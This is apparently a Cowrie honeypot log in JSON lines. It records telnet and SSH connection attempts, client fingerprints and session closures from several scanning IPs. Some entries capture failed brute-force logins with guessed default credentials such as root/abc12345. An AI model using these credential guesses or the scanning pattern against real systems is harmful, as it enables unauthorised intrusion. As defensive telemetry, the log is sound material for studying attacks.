{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfca78895ec","protocol":"telnet","message":"New connection: 5.189.178.126:60170 (10.17.0.5:23) [session: 0cfca78895ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:59.334798Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57860,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e143a517eaa","protocol":"telnet","message":"New connection: 94.23.163.94:57860 (10.17.0.5:23) [session: 8e143a517eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:31:59.932337Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57872,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08340d2b2d4","protocol":"telnet","message":"New connection: 94.23.163.94:57872 (10.17.0.5:23) [session: b08340d2b2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:00.204700Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57888,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b4e289bc600","protocol":"telnet","message":"New connection: 94.23.163.94:57888 (10.17.0.5:23) [session: 9b4e289bc600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:00.487767Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37798,"dst_ip":"10.17.0.5","dst_port":23,"session":"263d97922e8e","protocol":"telnet","message":"New connection: 5.189.169.71:37798 (10.17.0.5:23) [session: 263d97922e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:00.813207Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37804,"dst_ip":"10.17.0.5","dst_port":23,"session":"91128fcc9cba","protocol":"telnet","message":"New connection: 5.189.169.71:37804 (10.17.0.5:23) [session: 91128fcc9cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:01.697140Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60068,"dst_ip":"10.17.0.5","dst_port":22,"session":"10fa0eb0cd1a","protocol":"ssh","message":"New connection: 176.65.139.103:60068 (10.17.0.5:22) [session: 10fa0eb0cd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:01.865539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:02.009648Z","src_ip":"176.65.139.103","session":"10fa0eb0cd1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:02.013618Z","src_ip":"176.65.139.103","session":"10fa0eb0cd1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:02.377369Z","src_ip":"176.65.139.103","session":"10fa0eb0cd1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57896,"dst_ip":"10.17.0.5","dst_port":23,"session":"86335cfcb60b","protocol":"telnet","message":"New connection: 94.23.163.94:57896 (10.17.0.5:23) [session: 86335cfcb60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:02.893075Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37818,"dst_ip":"10.17.0.5","dst_port":23,"session":"143a979b8ab2","protocol":"telnet","message":"New connection: 5.189.169.71:37818 (10.17.0.5:23) [session: 143a979b8ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:03.034714Z"}
{"eventid":"cowrie.session.closed","duration":30.537384748458862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:03.119303Z","src_ip":"94.23.163.94","session":"79dcc91f0dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81051802635193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:03.125847Z","src_ip":"5.189.178.126","session":"dc8ff7965815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.614479780197144,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:03.432123Z","src_ip":"23.254.167.244","session":"e0459749ec21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:03.511806Z","src_ip":"176.65.139.103","session":"10fa0eb0cd1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55566,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c121b6f9abb","protocol":"telnet","message":"New connection: 94.23.163.94:55566 (10.17.0.5:23) [session: 0c121b6f9abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:04.169478Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37828,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b0b05b7554","protocol":"telnet","message":"New connection: 5.189.169.71:37828 (10.17.0.5:23) [session: 00b0b05b7554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:04.806876Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f746d56e3bd6","protocol":"telnet","message":"New connection: 5.189.169.71:37838 (10.17.0.5:23) [session: f746d56e3bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:05.234392Z"}
{"eventid":"cowrie.session.closed","duration":30.580196619033813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:05.277097Z","src_ip":"5.189.169.71","session":"8aa57c9ffa4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37854,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8d47c904bc","protocol":"telnet","message":"New connection: 5.189.169.71:37854 (10.17.0.5:23) [session: be8d47c904bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:05.411673Z"}
{"eventid":"cowrie.session.closed","duration":30.96033787727356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:06.094274Z","src_ip":"5.189.169.71","session":"e2497a987bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"bee280873406","protocol":"telnet","message":"New connection: 5.189.169.71:37860 (10.17.0.5:23) [session: bee280873406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:06.644925Z"}
{"eventid":"cowrie.session.closed","duration":30.41806721687317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.207924Z","src_ip":"5.189.169.71","session":"d6332647250e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52478,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc6ace1d7282","protocol":"ssh","message":"New connection: 159.203.92.129:52478 (159.203.135.109:22) [session: bc6ace1d7282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.265699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.271560Z","src_ip":"159.203.92.129","session":"bc6ace1d7282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.275298Z","src_ip":"159.203.92.129","session":"bc6ace1d7282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anne","password":"123456","message":"login attempt [anne/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.283570Z","src_ip":"159.203.92.129","session":"bc6ace1d7282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55576,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d29d6b0d2f1","protocol":"telnet","message":"New connection: 94.23.163.94:55576 (10.17.0.5:23) [session: 9d29d6b0d2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:07.410816Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:08.290134Z","src_ip":"159.203.92.129","session":"bc6ace1d7282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73472571372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:09.061189Z","src_ip":"5.189.169.71","session":"47c6ac4fea7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92973303794861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:09.156877Z","src_ip":"5.189.169.71","session":"56bb7923ab74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48272,"dst_ip":"10.17.0.5","dst_port":22,"session":"634f739b7807","protocol":"ssh","message":"New connection: 176.65.139.103:48272 (10.17.0.5:22) [session: 634f739b7807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:09.822640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:09.847852Z","src_ip":"176.65.139.103","session":"634f739b7807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:09.909351Z","src_ip":"176.65.139.103","session":"634f739b7807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:10.279259Z","src_ip":"176.65.139.103","session":"634f739b7807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb418588b57","protocol":"telnet","message":"New connection: 94.23.163.94:55586 (10.17.0.5:23) [session: ebb418588b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:10.377115Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39544,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6cbadd7b540","protocol":"telnet","message":"New connection: 5.189.169.71:39544 (10.17.0.5:23) [session: b6cbadd7b540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:10.747658Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:11.378192Z","src_ip":"176.65.139.103","session":"634f739b7807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.625770807266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:12.086764Z","src_ip":"5.189.169.71","session":"e9b985231ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.176979541778564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:13.065366Z","src_ip":"5.189.169.71","session":"4a97225be585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39554,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf037742521","protocol":"telnet","message":"New connection: 5.189.169.71:39554 (10.17.0.5:23) [session: baf037742521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:13.301439Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40422,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ee65ef35c9","protocol":"telnet","message":"New connection: 94.23.163.94:40422 (10.17.0.5:23) [session: 51ee65ef35c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:13.753649Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2ce5fbb986f","protocol":"telnet","message":"New connection: 94.23.163.94:40438 (10.17.0.5:23) [session: a2ce5fbb986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:14.333072Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.179.166.95","src_port":51658,"dst_ip":"159.203.135.109","dst_port":23,"session":"71914c369998","protocol":"telnet","message":"New connection: 95.179.166.95:51658 (159.203.135.109:23) [session: 71914c369998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:14.349158Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"4516b7e04671","protocol":"telnet","message":"New connection: 5.189.169.71:39560 (10.17.0.5:23) [session: 4516b7e04671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:14.499661Z"}
{"eventid":"cowrie.session.closed","duration":34.93207502365112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:14.642106Z","src_ip":"23.254.167.244","session":"df7a48c482ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780263423919678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:15.163769Z","src_ip":"5.189.169.71","session":"e1b38ef4bf49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284314393997192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:15.554055Z","src_ip":"5.189.178.126","session":"bcc23c193741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40446,"dst_ip":"10.17.0.5","dst_port":23,"session":"737671c46f8b","protocol":"telnet","message":"New connection: 94.23.163.94:40446 (10.17.0.5:23) [session: 737671c46f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:15.936687Z"}
{"eventid":"cowrie.session.closed","duration":30.705487966537476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.051019Z","src_ip":"5.189.169.71","session":"5e0691efd4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53352,"dst_ip":"10.17.0.5","dst_port":22,"session":"45f3dcedd425","protocol":"ssh","message":"New connection: 176.65.139.103:53352 (10.17.0.5:22) [session: 45f3dcedd425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.056883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.061925Z","src_ip":"176.65.139.103","session":"45f3dcedd425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.502508640289307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.078859Z","src_ip":"94.23.163.94","session":"f2d688bf5a5d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.145329Z","src_ip":"176.65.139.103","session":"45f3dcedd425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":40454,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbce506cafd3","protocol":"telnet","message":"New connection: 94.23.163.94:40454 (10.17.0.5:23) [session: dbce506cafd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.272511Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:16.400989Z","src_ip":"176.65.139.103","session":"45f3dcedd425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:17.523863Z","src_ip":"176.65.139.103","session":"45f3dcedd425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.151.123.85","src_port":54938,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd1d02e40eea","protocol":"telnet","message":"New connection: 45.151.123.85:54938 (159.203.135.109:23) [session: dd1d02e40eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:18.554153Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.83.200.3","src_port":60000,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ec85544026","protocol":"telnet","message":"New connection: 178.83.200.3:60000 (10.17.0.5:23) [session: 36ec85544026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:32:18.632465Z"}
